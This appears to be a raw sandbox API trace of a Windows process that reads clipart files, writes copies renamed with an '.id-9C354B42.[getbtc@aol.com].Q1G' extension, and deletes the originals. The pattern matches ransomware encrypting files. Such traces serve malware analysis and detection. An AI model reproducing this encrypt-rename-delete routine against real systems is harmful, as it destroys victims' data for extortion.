12 [0249.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.874] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5260) returned 1 [0249.874] CloseHandle (hObject=0x324) returned 1 [0249.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0249.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.061] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.061] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.062] GetLastError () returned 0x0 [0250.062] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x148c, lpOverlapped=0x0) returned 1 [0250.106] WriteFile (in: hFile=0x398, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0250.107] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.107] WriteFile (in: hFile=0x398, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.107] SetEndOfFile (hFile=0x398) returned 1 [0250.107] CloseHandle (hObject=0x398) returned 1 [0250.107] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.107] SetEndOfFile (hFile=0x390) returned 1 [0250.109] CloseHandle (hObject=0x390) returned 1 [0250.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0250.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.110] lstrlenW (lpString=".doc") returned 4 [0250.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.110] lstrlenW (lpString=".docx") returned 5 [0250.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.110] lstrlenW (lpString=".pdf") returned 4 [0250.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.110] lstrlenW (lpString=".xls") returned 4 [0250.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.110] lstrlenW (lpString=".xlsx") returned 5 [0250.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.110] lstrlenW (lpString=".ppt") returned 4 [0250.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.110] lstrlenW (lpString=".zip") returned 4 [0250.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.110] lstrlenW (lpString=".rar") returned 4 [0250.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString=".bz2") returned 4 [0250.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString=".7z") returned 3 [0250.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.111] lstrlenW (lpString=".dbf") returned 4 [0250.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.111] lstrlenW (lpString=".1cd") returned 4 [0250.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.111] lstrlenW (lpString=".jpg") returned 4 [0250.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.111] lstrlenW (lpString=".doc") returned 4 [0250.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString=".docx") returned 5 [0250.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.111] lstrlenW (lpString=".pdf") returned 4 [0250.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString=".xls") returned 4 [0250.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.111] lstrlenW (lpString=".xlsx") returned 5 [0250.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.111] lstrlenW (lpString=".ppt") returned 4 [0250.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.111] lstrlenW (lpString=".zip") returned 4 [0250.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.111] lstrlenW (lpString=".rar") returned 4 [0250.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString=".bz2") returned 4 [0250.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.111] lstrlenW (lpString=".7z") returned 3 [0250.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.112] lstrlenW (lpString=".dbf") returned 4 [0250.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.112] lstrlenW (lpString=".1cd") returned 4 [0250.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0250.112] lstrlenW (lpString=".jpg") returned 4 [0250.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.112] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.112] lstrlenW (lpString="FD01084_.WMF") returned 12 [0250.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.112] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2412) returned 1 [0250.112] CloseHandle (hObject=0x390) returned 1 [0250.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0250.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.113] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.113] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.113] GetLastError () returned 0x0 [0250.113] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x96c, lpOverlapped=0x0) returned 1 [0250.136] WriteFile (in: hFile=0x398, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x970, lpOverlapped=0x0) returned 1 [0250.137] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.137] WriteFile (in: hFile=0x398, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.137] SetEndOfFile (hFile=0x398) returned 1 [0250.137] CloseHandle (hObject=0x398) returned 1 [0250.137] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.138] SetEndOfFile (hFile=0x390) returned 1 [0250.139] CloseHandle (hObject=0x390) returned 1 [0250.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0250.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.140] lstrlenW (lpString=".doc") returned 4 [0250.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.140] lstrlenW (lpString=".docx") returned 5 [0250.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.140] lstrlenW (lpString=".pdf") returned 4 [0250.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.140] lstrlenW (lpString=".xls") returned 4 [0250.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.140] lstrlenW (lpString=".xlsx") returned 5 [0250.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.140] lstrlenW (lpString=".ppt") returned 4 [0250.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.140] lstrlenW (lpString=".zip") returned 4 [0250.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.140] lstrlenW (lpString=".rar") returned 4 [0250.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString=".bz2") returned 4 [0250.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString=".7z") returned 3 [0250.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.141] lstrlenW (lpString=".dbf") returned 4 [0250.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.141] lstrlenW (lpString=".1cd") returned 4 [0250.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.141] lstrlenW (lpString=".jpg") returned 4 [0250.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.141] lstrlenW (lpString=".doc") returned 4 [0250.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString=".docx") returned 5 [0250.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.141] lstrlenW (lpString=".pdf") returned 4 [0250.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString=".xls") returned 4 [0250.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.141] lstrlenW (lpString=".xlsx") returned 5 [0250.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.141] lstrlenW (lpString=".ppt") returned 4 [0250.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.141] lstrlenW (lpString=".zip") returned 4 [0250.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.141] lstrlenW (lpString=".rar") returned 4 [0250.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString=".bz2") returned 4 [0250.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.141] lstrlenW (lpString=".7z") returned 3 [0250.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.141] lstrlenW (lpString=".dbf") returned 4 [0250.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.142] lstrlenW (lpString=".1cd") returned 4 [0250.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0250.142] lstrlenW (lpString=".jpg") returned 4 [0250.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.142] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.142] lstrlenW (lpString="FD01191_.WMF") returned 12 [0250.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.188] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3964) returned 1 [0250.188] CloseHandle (hObject=0x398) returned 1 [0250.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0250.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.189] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.189] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.189] GetLastError () returned 0x0 [0250.189] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xf7c, lpOverlapped=0x0) returned 1 [0250.202] WriteFile (in: hFile=0x3bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0250.203] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.203] WriteFile (in: hFile=0x3bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.204] SetEndOfFile (hFile=0x3bc) returned 1 [0250.204] CloseHandle (hObject=0x3bc) returned 1 [0250.204] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.204] SetEndOfFile (hFile=0x398) returned 1 [0250.206] CloseHandle (hObject=0x398) returned 1 [0250.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0250.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.206] lstrlenW (lpString=".doc") returned 4 [0250.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.206] lstrlenW (lpString=".docx") returned 5 [0250.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.206] lstrlenW (lpString=".pdf") returned 4 [0250.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.206] lstrlenW (lpString=".xls") returned 4 [0250.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.207] lstrlenW (lpString=".xlsx") returned 5 [0250.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.207] lstrlenW (lpString=".ppt") returned 4 [0250.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.207] lstrlenW (lpString=".zip") returned 4 [0250.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.207] lstrlenW (lpString=".rar") returned 4 [0250.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.207] lstrlenW (lpString=".bz2") returned 4 [0250.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.207] lstrlenW (lpString=".7z") returned 3 [0250.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.207] lstrlenW (lpString=".dbf") returned 4 [0250.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.207] lstrlenW (lpString=".1cd") returned 4 [0250.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.207] lstrlenW (lpString=".jpg") returned 4 [0250.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.207] lstrlenW (lpString=".doc") returned 4 [0250.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.207] lstrlenW (lpString=".docx") returned 5 [0250.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.207] lstrlenW (lpString=".pdf") returned 4 [0250.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.207] lstrlenW (lpString=".xls") returned 4 [0250.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.207] lstrlenW (lpString=".xlsx") returned 5 [0250.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.208] lstrlenW (lpString=".ppt") returned 4 [0250.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.208] lstrlenW (lpString=".zip") returned 4 [0250.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.208] lstrlenW (lpString=".rar") returned 4 [0250.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.208] lstrlenW (lpString=".bz2") returned 4 [0250.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.208] lstrlenW (lpString=".7z") returned 3 [0250.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.208] lstrlenW (lpString=".dbf") returned 4 [0250.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.208] lstrlenW (lpString=".1cd") returned 4 [0250.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0250.208] lstrlenW (lpString=".jpg") returned 4 [0250.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.208] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.208] lstrlenW (lpString="FD01657_.WMF") returned 12 [0250.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.209] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=30414) returned 1 [0250.209] CloseHandle (hObject=0x398) returned 1 [0250.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0250.209] 